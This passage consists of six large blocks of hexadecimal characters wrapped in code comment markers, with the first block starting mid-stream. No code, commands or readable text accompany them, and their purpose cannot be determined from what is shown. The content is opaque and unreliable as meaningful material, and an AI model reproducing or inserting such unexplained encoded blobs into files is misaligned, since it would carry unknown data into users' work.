34b3a75f172e339b6544c5d54d10f175c92487478d7ed35341d25e71c3959eef18afefe1e840a855480edb26d9d1767bf2e83e510043d9cf227f307c12109e78f3d1a3711f2636699c43a9128b5d0dbcb9884ecd34edf8640a74a046814b4da9c50129dd17a5d2896870b9f2d3a8b497da0c07d411551c55adc7f872f85dc853f94f849524c8bc6412111ab3e7e498ba9554d80a5ca1450525633dc09aca0f66508c5f5875bd91f7569bd2f017150ad0dc90da6372d72ffcd2afd2060189de267b81ce6592ca10e17a9fd78109f2ebf7822d6aad29288a6183dd38742be32ccc731a94800630565a53837d01ef0af49831e644e63175229106fafec300592d54e6a7046fb23a6ec890d43dd66163d24263365efdf42b2fc7189d79b3c699a93cd4718b4494c22c36afafb1129d6efcfec0466437ccd962b4b60e025f82d0d821611655d89433f91f24b8f486fecf785b3d23ef39864ac11044caa06eeef6528cc3f1c67de1e178e25a8d6cacf32b9bac931b9764b7e4c40b6f28606683dadc6c2606d470a6606dfa1d072dedd231a49b24ad179ec81e40e5d550edd838093ec8cc228b8e4f222af37b206a1c35ec00b8db2331ffb9dd2d197ad42e92a1f369caa2706fa7d644f421a3f748a34f0672eba90ae2c4e96a40eab6aa7183b1fca5fce8853ddafd0185386829c5538bb9a98c4e0f758b507376539bd8b431300b3b3527ea51757028ce2a56e4fa1b853c84f107e4d7c5823cdf0c3a0a0e17aef6540ccb17893b0d6222bcb208d2fe57a19baa4516b6ab43c5596a8a9c5ab00d1dbc8b98c12516554727e798655486e4e48d68b462f209df4e8d3cb3736af2f2c7dd6e92edd64f0ce8a8425344f5edf88c8c68632470c7272671bc48f6b6f001acdc8e0b5696084a794d2ca561d8cfd6b408c60fba51767c9449f790ba0955512eebe4beb7f76471b4e574b85e7ce4bf5d05d900b2b00eb0f06acd17626b8db7e4dda1097f4d4dbec9f530c64a7dac5e7fb90753b14c6e5540a16d3429d1d2da8a01261aac20120977702476ba043023b4c657febb8f3021ca125bc12dba29cec6613f1650f4e22281fa46b016a919805d880318ecaa304039036dccdce60911dc8cb2387979e3305046ac6c551b776d9fa8e39e785d8e591e4f66471b425fd47a03c6dc6c561835eb49bec2db193b5c98a01fcdbaa9001efa79259a15dc5de6a4aa4ab97b728b1de3deaa43ad7ddbf9b807b553b7a3151371b3e65bd67f7f0aa338b4135bb005bc7d914f54029b52555f38cc0fed7229fa0f94855723e9d5c66b77b396ffd55247d101a8fbb42f37eb2084c90ab150a065e166ea78b3e33b38f8ae89aa30d22a54920dd24b8fb19764e916d97f452a4fdaa5fabbb7c6bf93f88e70d3c6d598c3cbee3ed8c118bf95124a9c60d6b9dadffa68c30bb9170b111d0f0456315381554a791cf6a76f016444522ad96ebdfc96d208e88e8c9184d92dc2e071cb0ad255a8ecf8eed1cf299878566225e0646047197e80f90a10c1c097fe1c16b49b77d8754a3028b89400b24dbcd363294e420c1817003e2d10b94e65acc780b601d8a5398b6fc796f85ef518b5d4f089177aef5750eda0ec4aa45bdbd51b2de707eb5d698d78a872b889de107c2da160b79bfc8c6666e06ecdc827cb101cf2dfb310e1516acce772cf04f05302f7775d8fd33d5e2926f6841d79eddcb23a9d26c104ce22ef9b2a90c0506fa3c0a7b0ddfba259227273a385963df155925765dd09124a49bf0786c5e5e173efce5ba4e6762f7f916392a55ea63ba8e06d0f961a3c80432ea8288adbfe1106419ec9a5c50703ca8323130c83740b704bf49e3612bcbc6f1990335307f03826361483a6aca2e8718ad652e814337c3a14ce34a29f29880bbe83240ab02960e8aac4a3c5af640b02a225d077bdf8a715bfe1d15ed05145f4a90f0dfe36d5abcc76e6dca8b4d788fffff68c27083a033210d8fd51d6c9cc425d44505503dad808a23defe90c0469aeb60965708ce4d76d629c834139c367fb472b873c6678bb2907e195ba95d428018693bde41268cfb06c243717fb530ee410b7a0e5de2262290a957ccefb69487d48bc95901705bd42687de113a5051ec409c8cc3f*/
/*2bad871c090e5ab52e0d43d1a851faa5359154715b11ea20194fcb920ddeb251c0fe9edaaa1955c62bf2ca96d537df1f56dc8edf36f437ec7c701d6e42e5dd3c2780eb47a6a0d3ba2dec57746d64ebf81b38773c03d5fae752b8e8fc40dafaf74cd34ddab1eae57748cb67efd642f4d30410588f05718c0fd631bd70d9dc31034cb75d900c4b7202e50d1dcdbcc95c69b6d2c27ab3775a1ed755b5f6b8221b073b624b5d21828ee7ff43d2f1f5768c2f072d2eb86df13a0d963e96bd6f0625e210995905c23e9b8ade316c7314a9f8d7c92760e287eb535fe0ec7321a850a400d337307681738ad72f4de89c64cd7eef611afdafeacc8340e76ba105c0666181e9ec22919c27b36a03ad5461d7cb45238fdffdd3f664a367a4115be1daf9370557f56e5a7f3dcfb7bd6bb03bc44de61bb2a6acd244ba8b58af05b1611a2e48fb7a093eabdb97624c71bac1d774e8cb4883182195e7dbc5da040e278f911596bbb5d14c6aa168b176cc8432ed8df53a12579945d174602581e4742b17036b7b436d1c51a40f402dab371a632520c7b6d1cf87c808255d7b082d7b5373ebc827d118b7c72d09bb0701d8328a9373bcda024027392235af173e8fc3cc1ac62eefa2668b5448c9fd3a9568233f02eace8a1257e539e79bdd507bd5d3b2e07c6fad7517dba8bc599d53f08c5148e35bb921485d2a4cec0a3b286d127e964607a14baa20f278c7c2184cd550c71f26277de0543266d02e3c4cc64e577ec0b102eeea1049a66a983d2e728aca275557ff9c9bcae6cba1a7435ec56ff3a5383188e91af146f4bf3d8d15d3c9571c6dff4c059e99e739a6004dd7bc8e9d84344b220b7ecba9b62f1b0138fbedd40786d46243dfae3d9b716df58867cc83ac236629952cc6a5e6f99c4e35407067e7e7b61fa31356bb17de2548c6cdb33582d86c5f9ce90c432b1bf05ca6c7f9c114def046b8b089a7e1c17d0fc12b11b1862da052552f09332f0f5be348238befce1dbae134799ef78808ed2b7599af6c5e1f052508f50155188955b2a49606f70e14e387673b62a7955cbd0ebae1b727178a9b965645778347c93e4fe008ac616176bc0a60f0146a141b25927734db3c079e9eaaeb7254ff3415745f5a7973462e37ce2dff3ddd6bba65ed28e6e946f9e68c6d41e7ae08f1bb34e5c5875627781e496bdb9556e0d84eb1cafe6190a656e1ce8a372620cdea932b4d43992b52b6df7d1b5f054357d46b12938bf1d493f12d41dc08b682d74922059378c6ee0c169306a9b5a9666f238ba5bbd5161d9c9ef25e7b4ee7498c2e09f7acb81d739aedc8b168d29d1f4248c9d54d716cd3d2d2a3cc523188b01a7b45857ef85eaa5d0ec8e497f8323b7d940e86dde79e51ce581055355b61ed4c81c5f733e7b3ae2b88fb783802e34714abc8faf7b5d9d884d7793590fa310dbe549e2c613b6c7b2cfee8c8bcb7bacb50e2c6c888f2e471941a7bbc6d519df38b23bd12c36337ff33518ba8fd01ec005004e63f8c989ad40ff5514157d03dcdfa426f6cb6c4abd97e5ff6703f51bd0644f3ff4fc9c0f97406ee38092eea2850b7220df3d1076afb9ebe2a6f97d43749d9f0a1daa3aa44fe65ce84bbf5b30f7642ea3a7d68a4a75c2fe4e082a9715937c183cf0d1c389760632ff38bb4cac18d50c15a2509348a10047e1c89b4648dec471712bb5e0e007e15bcbb265d5cb363766375b523722930d24fa19a257952cc6cc1d93f4dcde29dc42425e47372273844c7f138c0a5477f87bbadbb33873141154f4d865f9ee6d47a9b02f258a7c6942cb32383cccff5b60dc541f20165b6d790bb7db5a464eedad172d0e098b29980169ab219daf4d24bd750ee6e22595cb1efeb79bfdd08b6b2a6cbe1a1a350cb6084eec6832d4279467cd3f0934b4deb566499120e9315216614ca21635fd71e12c2305d5cbacd23442ff827b981c37b447e01f4fe5c09b401faa98483e416339b23aa7555ff08b43b543dfbf514094f4bd6881946dcf8fa59340fbfee903694ab2427ef284a9e791774895e7d4a417362cdf6ef7707be2fd5ba399c9c067b32f7e85333b1db3eb24804bdc93281001cb1d1aa03a192241267e0fb8a856166088bfc7173945ad93dfeae558c7669319f59a7c9bffaa1c6cd4b62fdbcffb0ddf40050aa7558e3f4cb496b0e838f65272d96855199a494dbfde5426c172597ddb59a9688654cdc712cb686beb817de6236accddaf5df97ae54491c10f0158742afe33566bceed3bf74429e23d144371aa6503d8f9555310be5324fd109efcfbb8cedbfd28148d23edfc2a8a62ec127a19f7702076ba419f96d588db39fb3a014d215e5625be588e600220967be76fa5dec93149a9596c794c0f560049746469c8d2d8f84eeba0aaac476ecdf4d35794ae7514eaefe915586e9f9aec84b090a8f7423b831f485feceb29b93f1ce5098796aaed101d31ada7f36049b09048b5696ac7ff57c79e5188b742c4255b0a04ad6930e466b5d78094e02fb7cfec36dfb6a5f29ba7b2aadc73ecb27ab53ad489fd386b330125f23bcbdfb05effe7805562cef478fc7cae638ecf149b00de95087ac5eae5af94c2c93bc92214b9c3a592b760b6ac6d4793d3a65d660611d6bb648dbd7983ad2a4d096cfc6a6eed0c25f0c53bfe1a2ca1326a9c2a2c8b66a2083d778054816f1234311f9dd55df618a235dd8918cf20add05edb62cd532ab5c00b3ad8bdbc826fb1b5cadca5693259f90e79104ad671b0b1f5ec54929e3774c2fb7b1adb9c31c1425d2991fc0d09fb48683a579dd5e936005388a8d4a00057ef726ff679fca*/
/*faa6efcd1a6010a145dd640abdbafd24be630a4de88c5a4f4d1e748871f13b35786464d3bf52664ffc317cb1963ef6100fcd28dd8244c31bf4c8929ba96be37fcd6cdb391d86d0ebb9dbd1a3e49cd64097e959f5d85735cc41a656994eddb31e8c59dd2adb1fe820bf1049c386dba0ad9f9934b5fad894e9da7a3866fd4d6fa96bcea9150e66fb59da4be05181556de379756b7f0264980f648cb78eb29f22a084736ad21c17ea389c8a4903c4eabc8bdd9a4d5969a6d46f1ecdc732d4d738f2e2c075e1e047ee97b97bd0427434eb46afdfdea89029b079f72026f9407efa833279272b3d2428d254a761be7aaf8a824e6f32de10ab52af72957d6e430454f14688eae48206241075a550dd75ae5b61f01cd975433f0f4ff048235e89679286808d7738ed6c42ad061433eb8313605eb65af3fd6cf93875f5f8837bd6c6f418775237d64c5be489905b90e710dc79bcd77dd050bd0b5de22f756d69acacdf71425d349a55acec03cac547de0c79ff0b8b964707d40b3853f32b31491c0845080cb8379dd32866df886bbed3ed708641830cc783ce8e4c6fe6c76dcab1c459acc56d61c0a61a0e0088d2a184f67ac5d3890f8391d7d76860c2a5501efdb4b0c8615464a788571db21e0494527b61f15d32916c7a40e5e74cb33a6bb010ed9820dbff3eb45ea56a1eb4c9642646596c7d630e0d5450a367790de58483c4fbbade003524886e6648dc24edc46b89e9897ff65e27d799e65584292b4337a6f19c0e0bc9708046c261d6a24d1b248168c42764d5b1017f14a520221d75cd7615d158e82ccaa89b85ae20078765dbe52694736723e426398e011eebf19db56c46f47048323a877bbca52e96edb08c17eae5401abd621151484ad2bab4ffa7ce866a2c9687cc3d5a9923355619d0ce60aac02952e06711de3fe8a154bbc40b17b9d4371993000bd51b18b2479b063f0308f2849b2f4bb9a7d21e82480eb551e1b7daa081595388714c3be39ef7586f09a3d332161942afa6a3b344bc6d711431b333e8c8a97b08b9a2a721ce8b87ce03c879039819b8a1e7a4e0d874810a1cd4afadb9a6ee8d4c556c0dfddccd810f4250b63567f0fc07c6fd433a325e3d630f338570f572f0c31a6a15b6f02026b5c03c5d8cf777cb39e10e2ace3f2f35e3451f5f410b9a2af37b1cf03b28f334ba4bfa719a085629837c9788df553b0d9c8e2cdad902cbaa4774cdd74d7d95921cda14fd6d9a216b085a2b064847a5bf5b31e24a4caba4f2840a540f85ccc141de061d86d6988e3df40ae5a52b88a6d2e334770187d8100b0b9e215528f08c8807e3aadbced81fae479871c328dd561bf9f57abd15370f8995aaa0872d869f91f6110af5183033ecfc38f970b757825f4f76bcf699eec44204c06c1162263fa5514cd834dbdfb0c0dff8879252c8bd35d5a855a83b549323f801e91875625c76b7f5d9fec937479358d24dc999cd96e1784ea8b43eaffdc1b8ce87d6061a0c4a3aa9631145bd0f05b9e4a0586d5beee60200d941da19a950c8c3db260fb5cc78957c64eaf86c81af3eb0bf901aee8cb90ce4e3615785ab4dab7ec16da7eaefa239948edc7d83334981c1ca3d891f326d35906f6f8170a668093125bd0d0b20ea1372bf073f1caa73805ff917061a25d9c09446389d06702f0dae0aeda7a8fdde82b33e13c480f8eb3bb4174f95463180ec92606277c98d09396cb26a382a966342285e4c7176febddccfa0e4b171554335ac0a31b6903dd1ca69de95dfa8e85a4791f3c192c551ab43170a4618f3d9bb97030e428ec9197eb4f3d610d1800c7e3a8b97d06a3a62bb98536ec2ce6f17a040124adcbabe41dcee0adcdc65fb2a0b339b60f5374a0df16845847d3bb8ae534f701e8d338646e013f06fbf04bc29d631574186906883a997aab407fa75b2edad7101e543c525b01f00ae615fa88f83dfc0ffb088b45984b033382b0713b93b62bb06aac6809503d78635b9b6c265ad274f86e7d09c9d085e6482f31ab67c3b867ac289015e5208c2294ff70a06b4be77c4b2f2530c5445ba8ca4aea7f5b7c6f87c4ca9a7119b2f8a7d71a33294d97c6a37d806122830865fd1f0028c6574369d64237ab834e2bdb52ea16d189fea49da4befbe0d9edb040ec9cccef46be2e3e67ad2e80bcef29a7d8f821103cc25b84a9413c7d6a937bdc221312f715c1012130b42e995f1477c22352d6579206e10b362fba9c2c0724580b6862fb757971c77a3f7c25443afc7d7f3bb424ce33380aac1d1df9bc90513fd192f985a17dc779e44c528da3ee9cde7ebfa161a20f96a25cc69d84f79e9bd1ac2a4163c73d6e410db6f776447183f404ce2701c4ad9d7ff506add3c03fa097190ce3c9edc6193dfe553b04f59be40e50775d2a0c8e51dbdced4290eaa5f546e5d2a4a9b80ce88ba3e530aea73e564373517aa2b038414477d776d0eaee3140376b4b5cb4f9f6bac47af84f8ce8296707c396e1c88683234648025874d828ffe43a5e71fefdb65f90bba2bbd858a2f243f010d9794304db7b40b0bcebdc7d57f9735c2dbf5418ca1ff64ad09d534cdf47f54bd59a2eb41e936961f68b4ebde74fc04f10bb9672136817005c0c9821ea9b3ffedc7cb234ea24f81fc4c6eb07055a967a9285118f508130a37e60407d230ca5cbd15721fce7a523df4779f689cf423cbc5e1952aa104a4d7c25bbbf3f97e26b9e29e2669498601817766abaf3b45a37be0c86532ca96514e211c6d48967575e2ea08cbf39ca69c93cce1421a004ee982a61d31c082b80e93b8344fb10eedada446b4317c9c6ebb69cd99*/
/*1a0139dc5fb0a8d3b2c50b4d875a7e1114d5c74bdb30276529fbfecdc029195e3cf3b3bdd6b7b835876d8ae86f2a525d25beed035e785067b9a09f27ffe7c58ee0e5c21c10862c63f0a709f056e4c8879b702e552ab2b15b00d01c158ddb36e6b1834c8db9316b16f14d296f9a874387c619677998bf7aa791f88f64a98e03ec58aec60535dba6a8efb236c6a30a14361b7255446b30902696539624f3f0fd29fa11218fd094e450ee43ee3656ac3c98cdafb43593ea9058241e3e4c7e73a1a0e491259cc09b02615c2d7e2e65e40740a226a52c23e44ca2861bead82c6a39582427e454ab420eb13d9f8eb1bbf977ab75523f1199778fa2016a30e5f1f5b3b60f8728b9082af9e5ae2b5e0dffb921208b16766f6cb50761b83e9fd04ac28870206baafed467276ff5bf6a3325bd05555951101c0af04c4609a8a77bb98026815036451e074ed0577e2f4fffd529344328c68ed13f31bd433976f9b7bc9765cce47c6b6c04dcf0f98eadba4c675c5f121cc73f2e173aa7e7d9af7ce3355f67eec8f07df51400eb5701e6c6e58a3a169582b202dfc3a5e73cfe8995de42948c516ae64eeace33f3277d9fad5cd3cfcae0b1a162e9a45bd2c1b8de19777d6c8bd302553c520b07de904f9e621fb81f016272035973aef97fa4f1f960c8ac3dd3e27e8a1475dfaaebbe3cccce55780d90a6946238629bc3b2a787d9a725f08fb473c21e5871e1d12389a88597172af5c1bbc029ef11e826d7fcf32d5855cb90cda61745d1379acb73c05b6d5934671482f1a4c303b52a95e400674204bae33c0431ee702c5c9ffb8f2cdec24da575a8c47a1c3adbb63ea09d4430ad5dfc65bcc12c9ce660a321e84087f3e808a35b9f6795e482b3d504edd7e2c1caf05db6ec65184d006179dd91cf2dcce7172fe7dddf31afcc5cd8366d2e7c539b1c4f30b64f4dd20c42a8817ce1e5624bba71d9444cf0b51ed4aa1303cf8eae3d81de6671dc7deef17a05f7f8e9d4814268a469ea9efe5758844fd6d431321830eb84c27bb39228027a7659b7bb2c2818e6fd6fb4577547f121e88e5f1b38a0ca9f83d235248ec2ff7410f0544119709901e24553ba124692a264f6149368fb829bf3c3d9fbb8126beea317e90d38c9ba18f00141ae4a58ad102b026b552938488232ba269688e973d5669c9b43094914bae926fd628c66b460cc88ed64924b330d51a683056a488bef60c9b629c46798f15295ad8f012a18300f1d9c8160f1a46f56123d4e272523d0d5ef0a58751fffb49fc7b1241abee08ae5b138396922d6b41e3b33c291a9caeafa58ac852e9151c32c242c2afb081fcc98fca0aae611e76436dfa6630bd12cb8fad4a6b4e77c696db5688483acf81404fd2690f230fc0b3633d46818286011d97e843f662e29a1d0d39c6ad77e23f0582b61cb7f04af3fa6035832b61c179dc3a635f5bd5e8bfd63dd3c0b3b5c67afcf2854e354cf370e0ee43db92cecbf7d0d9a176bee0cb9952b0c85ad6ae646d64fd33427dce732119944209a35a533138348b325b1db7c7fcc12cfd116718454c6f4bbd7699256811ccd21524a24bdc85112b180ff29456c1d595e1243f72e60f43a62ea859cf3b97be19bd7ebce27f82badaea94b54136d7895a882d2153c89200075727ddec950202c88cad2df8361b16c59ee27a9e331ef4de1c254f9a6d9d774ee303c2391db1a7a7d54bab696d5fb71e3462620d589a25eac2cb1382fe800ac747f101f6edba825febc76cb06956145a68de937beb98359ef850b5ea454b7aadff04ed928b28a989e87204e8e996d17271753ef12c81a604ff8c97781ade8a7161581b57065ad4c679dd5a8df71421aa33851eb25012197afe0b4ff48b21787d0b95da0b28b1ddd273b53fccfb5b34b13965a0adb1e815830d1153845a74dd18723baf2a4dd6bc3ba7d365eefd5f3ea8f3a7cce9d48bbc31f940542ee2e4e3eb919c1d9f6efdafcfac616bf5bd999c8be0e4222ab890e26a92f97bc9127b162a7c7307d5a84ebbd24f2751eda847260ade67b4bab757201ea0fa4ec4d02da5b456e86b84c15fd06cb93ba630449ff3e78e93f821b12afae23256b729de3805d0abe5a504fe58dba6333f2dc5d96a20e656d3ad5748eb28da7b5e1ccdb7469ab910b15a46c82588308c424f48b2aaea92fc32628cf12cf5e7263e9c569432f8656af2173ed9fd387cceca05394eeadc8c7dbce30e978fa9b56a08d0477898fcd9c60834a666991c007d8e2da3fe6620b8235a18e4513d4443874e1f6d080e0923af57aa550fb7a2f1d0f175ccb7b7faba5847bb90b47f17a7f5b1b932a952663f74304286162aef9ad2e4ee8547d1da34f8e318e77209c5f16cb34b2b133e7d5506bfecc8721fcdb98360f017e6be0500ef451229c7db019bb399175569a6772d41835dd00b7e6eddb3f930c4756cdbb99adb75009cf1dd69c207240a6e1802282061f5cf6cdd3612b34916a3e4b78d8a64b6faad2fc709cee947c26e806e1616ba158c51a04b4e54148dfcf5a2dba848d1fa98acf5977fc342b95edad8084d24684db9ab10b066dcb236a08696f3618f9869230dc10b754970d59ab9c108fbcac61b24168fb06bd5950cd71c9cbe089f26701a86f8477393ea6bd560d653f2a5668b968b37b3eadc001433238e3ae3462000484ee3f2af8f68e3c8062110ffea53d0581694a321d62de35b99b2ee323a0bf969e34b31bdd46d34ee61058dbeb7ca80e4cf71e4123520559de06dcc32d9441b75b9b1c6f4779237a8783d9ccf0636a48c7cbe55e1b90434a723931df199c1a2f31b8a6f97796eec72b*/
/*63faec3ec32b8e8b8c76e059a6826766e7a2d0f96c3b0420b2db374086b0e3630a7acdc1c42b45831acb33878d7bd949fe4f2b7950688547e8798ee2ff6e82023052a0d2a46b28f1444a64d80e414e469f1874d47cb89232bcdef759a5372a00bd5b3e37fc3cae0450eca9188c4ec3046673d2fa873f784bede1a9986b4d51d3c0cfe7a704aeff619689aafd682dcd0914383c0121123316156aab80f3563cdd4f2d6832f977e22a17778b5b9ca988f5678970ae73db1b07dfedc60cad9c60819c11c264f4b12072464dc0dea615fb8aacabf5a456ec5f8ed9cd7e77ac3f0f076be443784f03c3ff00f943b79d8f07d7eb030927ff27ae11e06d2ac2085c5e294860748c94762bd99cdd8e26660617cf5b959dd1888c24b6b33a5d35be34758eb76dc80b3d2fad9c2ded82e8189f5e2b1d727952d71ce50f8181f96b3928ebe8903d3001630fcee125cb81b72c33eefc692bf01d7c25861c8086f9a3e7bc8a3a2ce02fbc305dbcd39f532779604a74b492bccc292c1249a2ca1838b7a867e845c6e7a0d5d4511f16e1b03dadd7a65657e7689de9452f943dd9cdb254a4d970fc23aaa591290e50c9eace44cd0281b8477cc7e52c6f0550a8f7ec1b79eb08913fe8ae240b447312552c9cdd914663e75664aadf4b177b9f3e88eeb645830e0a61165f64eecffa8105ea4a08a44ec6968a5fe4f6b2b5df3fdc31dad786e8c09611df315f8f878d673299a4ccff3d9344b81fb225000fc62f43c6180b3957f310248c10e22ed81b6e3b6949d61b2d69b069551e256631de86966cc1db9714c0010a38a83686c4df7f6c26bf93f23135ef17a22314287c9cf2f21008d1aeb1206cdcd96bcb635a14a2d0abdd55f6a9d2f706043b9f7aa0cca2939fade2e9da18eade1117f92c33bfa6e8e84ed13c81fef35f7313283e0a7b934988a00c1eeb67b47e5d641e81d13790f19f86735aefa5fb53807c5b748e2e6c74464781602083d9705efbfcfb15693413540fbbb0f569297f3ddf3fa598107d89220559b33afa430e4cba8e7befb3820f04b68c61eaedc227829fa6527414975a84554a8fbe6218e91b72791cf2cf23e417a3018d7ed7dbb87e6b9c77c7d4d97a0e65b46803e4f4e3550afbb25370195b64b46bcf0ac54810fe5ea29fb278873801bd9a8037b537bcdbf2c6cb96ae8736ba0785805b12d8e35028da60b561038306ceef550b3650be6c1d3b2b440f1a4f05637e975d9e72914f6fc7e6e6562fbc6c12ef8af9eb813206737f3c4938f3756e93b506fef8bd322ec22d64e8816cc73e6cfcca8382af572a1e114bf25512e9f67dcf25232aa8e34b12cc48ab77f4feee82aeba2e482054026be324f0dc69dcdb7ce66380a1b215969d25af1330f103e66802b631f76aa94be33d6a3cd24bac70c151f48abacc9864064f1c1a60becbe86833cd9a5508498443b5c89ee215750d72edac59cdd3bee2dd5037c9e09cce640a2345059e2bab4731287d5c10edb8a9e45ca9836e807a56c82d697ff0753c9a2e5cfff6b524b1034cad81e0dae838c40db3daac92d527ac1b77c82ca0262376ed9bc361aa8555558b179c7aedf6d35a47e305a0d7f592f479fe46812e0a0b9112e9d626a43869dfd75338682ec9e7daaaa2e262abf34d1d40e4909aa05ef20aaea746476594719c8e5cf786b22f87ba832d4d3152b7bc0e4d4db18c0c388ff8e85cdda806251fb4cb622c041899ec753b5a1294a3086c582b69363c66866f7edad2c4357565e447c191c2ede00500e4f2b9d05cbc153b159a36d27d0fff8a8cb7bcc218eae83498c7bb4e581588d29c9e41074220215d46538dbadd1708f1088f4358bdf70a1daf37ff7bef938d2880adc0e47b917c4bf5abd9d959267775dfdda680ccc377a544505eee37ad42ac627a094d396a48d71c98fc29fe6518f55579c40f05c8d3bf7d6fb48a325d62d44bc304457ace53e8022b82013073d65885656dd64e6a71b3366a35a2cb87ac8c6e6cd818468230f8054b49c6c33ce80229ab1bd07e23bc3514475de3a477c8e67f43ab24fa958f5e0de3e3c3423216e3169a39051b5a2dd3b0f2d4c9bff8d07118ad6204a7ff41ece1bf4dc95ae2aead6ac1026d928ec668bbb77463e59d5337ef427856a141fc1743ba080c2a0efd95dd79fdb58212641da13738a3c6f7d316c8641c90356c9c73290986e00d1bf1d5f96e25ee57080b3eca314b8c422dd28f812fbd025af2ea9d3cfb001d11d49c2d223f8f42fddc56d32be2afaea6208ef0d2ee7383ae255a214917fb4f7eb9ae5ed2604b399812269892a88bede91bf912659d68da87ec8e0e1fccd54249fd6d7fa592b3783b8d0bcaeb689562e94f07b3fee3f37ed36e40bff25d88eeab4f2d16099d0da64806075f2ba7e3f30b72ff3f052168f8fd7460c5a391a8cfb6e8ccf277fab690f14997d930406609ef23e5272ae0f62b73aa154007b8fd93bdf74e2b207dbd70f7d683f9bed9a27d6c26abaf849a7141e3228d92991bd15d2b272ae266356b8a8da95982f4b679db7d45c69b4dd4564b07ddf850820f5e30ebdebfd362a4a473af37b418128a6c8f57175d3c23964222b3b346dd79af93d714e2b2d6819c448bd4d9e66a76a633d67b0773b4da31cf71a3ad36c0ea256dacd11277b6267d2454fb466fcea2cb8df0307128ba42c37dcfd25e12fb75d8735ae8c8d3c8154987d09a057d12c8a58d654427da3c3ac350788dc079f363cb4fac27900b577b4b97165c12d18408b5ceb2ace18336dc3fc1a13a43cf5066d621ba9bf83ae34ce9083a6fbfbf795fc7f4be58b9b9b859d8f8eee0453a6d*/
/*9a09e9e0b286d6c527ca75c4c82f28134622de7d20d475b01fde37000663ba179529193a39d73b3d5f8f9d02286185fe1b600cb7dc392a47b7d8f6f6f7e3579946dfe0416aa872663e20ab8ed7ae97679c3064836f07bf53c1ff716c1eeef40cb0a4a626d38a8a64bd78f5781cc3557e444b04733106ccb46eb9a484053267f81ac263fc6bcf66ee3590155a7baaa3da22362ac9a05ec5de78800262c4027aa14a1b713fa643d287fc857a7812daa67d49c9b3eb89322412b94f255e155f03e28f47a4f8db4f0f4d6154d8a130a045f8ba72741f442cfb8881e61c73a3ba7996c393374f18f4a62f501ef1b598d05e9d841702742e39e86ff53813e1e6ba3ee4a34d393d04e81512ad2e27e71be99b5b5d0ade29f7253519c12687e879d5043a32958597717197b3d5703e569eee51b91fd3db24da1ccad1e79b2ee5475ceb424301c2bba427411fac966921f01e57d8884cb655857943f2d40cd714a84bc59ddcf9399ceb3a955ea7abf69498ed515ce51a97984c29e7bf90f97129068f93337f7af43c7b22aeac4664c9a1cce10491fabdab8f87c25d82650cc19cac1c416c2219ec3dfd18ed207229fcec7bc663e4470d8522f575f0df1e32b7b8557e9ae97493f2f998416c5e0a28e2a77fa80ebcd10a34e2640ce33b3ae6ba6901775a23eef54262c3b07af176d147a23486dfac45f4da9a4aebc7cb5e9e55feb4de4fc783ef96c61cb3d24494fe76ca090a641798bb0c6e2043d849653068894402570aeae96c5eb3591428063bb5ac8bf8923f8441aa497f7981ca7a99afed9b224c6bc2ac1173373f8477202697c0d822ab6477762eec78b88e7f796f67aab1bbd49c47978a67212b5cadf6312585a2b82a9d66f99bfb69a26c7c8e8d118d2d31c3878887d466896c8e05dab94676ecd8ecbd368281af9e65e08dadc0d363caed90153e9f441a352e1be3061c3c081ccf82f2cca061b1a7070b263dde72da0d21a9244692a1fca9b3820c04916a536fe193a3797eaa9e5c6b5fa395a1fe8e73100ff733ed1948485a89ee5476143b731e8c06a323cb6786e05ef17f8d925713f163f312f157b7a567bb7f072d27cbea067e7e3279165a2d770d786be7349fc5e15b185903d7105a4acf80c4dbfd3d41bd6bbe1b431ea3c246a4c0b480d467bfcb604de2837e57b9bd09ca8ca6292356ca2a51b80e8e8606f1396ea1802d0e6d2362b423eed76798140237c36774ccb9b790e87a60a8f4563e65b62fe361d02e0df7802cb86fe7252c11c65c628634bdd4b21a643ef120bd79c5f0013a13f8e9074dd7fd8422f2bdd100cc3c5c4de4f1566981f90ab8f080986c687ae00c158e6a4dde16de87c928b5e511ea4e1f975ba398d0491138bd770cb287ba7e6caf60440f8a808d2b4a99970f7dd7f094099607107aafb70263d5d03e65f5e1725d7772ac46d9921e3744983a3f4a03d19e06bc224c4073e175a9e7f158f2d0982609bb4e262b8e164af74a2997889040fcc01457de10b814868fa98e7d7664158c3ffcfc36facd4e861d5dd46e788854d7df4eded2246f521036f7749f340f406f3dde6ca2de85edd05fc62e3b695ef858b173f95e9b4f2f2b21124cbedebb4041538973438dc93b5f75c64482d2a20608851c2c60edd02842914ae4f5545e7d5dc31e30a9f333a816fa4690ccfbfa803d43d61a62e5d1ffb01d11f817bda05dd96663d00de65e16dcb2b34a45fcde912d41d4b09ec70eefa11dce108900193d80a4f560ba7f39851ee1b14bb7f9905e491117f41d9fe632af7442c705ea0e1ea0a064840ddd174525dc169672b406102d9a51cb1e26c6bc907eeb1217d1d02cf2af5485edf3f2747caaf89ead49a7b66a7b2ecd2271cdf4cb7ea5c8763a11a682f39bca23a3fb2bf37a0d8ce1df6b5c4ec68d5020005dadf5a414ea9097ded4ef1230e6c077e5a5048a027dfd5dd4b35aef1abbbce06bd4020fcd3235ec12ec55cdd1c844cc07a7fc6adccdf2eb1edfc5682f9503ad494afb980451da1aa2610345a31339424bc4da0c8c0a9808dc8238561098accd9131010058bfd53f401cf0ad5000bb5d1ca4fe3375cd49ee42565d3ab86e0d5a2e301f3fc81feb8e32529a092704d8b893151e52c6bdea2b8809a2be604c5379290bdaa35d8a5423705801f613c8f7142750a17b8aaae93346781229747b4d7da83f8988b81e62defa7a91a608b2f69faa56ded4afa33c8f5012c59d79d000d24be4f45b9389318cbc1cb8336e0a78be3988c1dc4786c51743d8c39c798f04ee23d08a7b9aa498d584036a5486c5ecb2e9b5cb35298717cd2e9f1199e5d9a60e3a70b328b1cbe28874550c4db8b1e1d5c0f4532086cae841b1074f98da1e0bb986a2a843ec100a93b017b2f7ac5ab9d92ba815532ad2cba4773d8599967a3b83a8d752f5b160b6ab96697104cbd7224592d8559981a38ebfc3c49a537b3fd69022dc8b71c444efd2d7cfc2c42379d9a6347be391a384d7cb5206b35f7a8d2aaaf346274dce4dbca93c27ac656b30e451947818d51770915f9328558e19d4e9a5df155fe8427b836a3418e5617cef8b70da0cd918f7e5e72411beafe19abcb7eeb13a52c9fbc6a2cb4226752dc0b214d2b869b608ba2ccefe46c5f04e46dbe248eeb8e8ee489c91d327c1e6f84fe46d215d28c30f505723b21a8ed4c4db35a6a2a60ba22ffdae7860b53419a61666a448a0180e078231ee1c9f0a83ff77bb5cf91c14653ba7a6d579803ca10c95a17a11d057adbe1fd7c246d72689bd4ca8f8a88107ffc7644a7a90d98286c97490e03438b26264384fd5a814d3f3a274c523*/
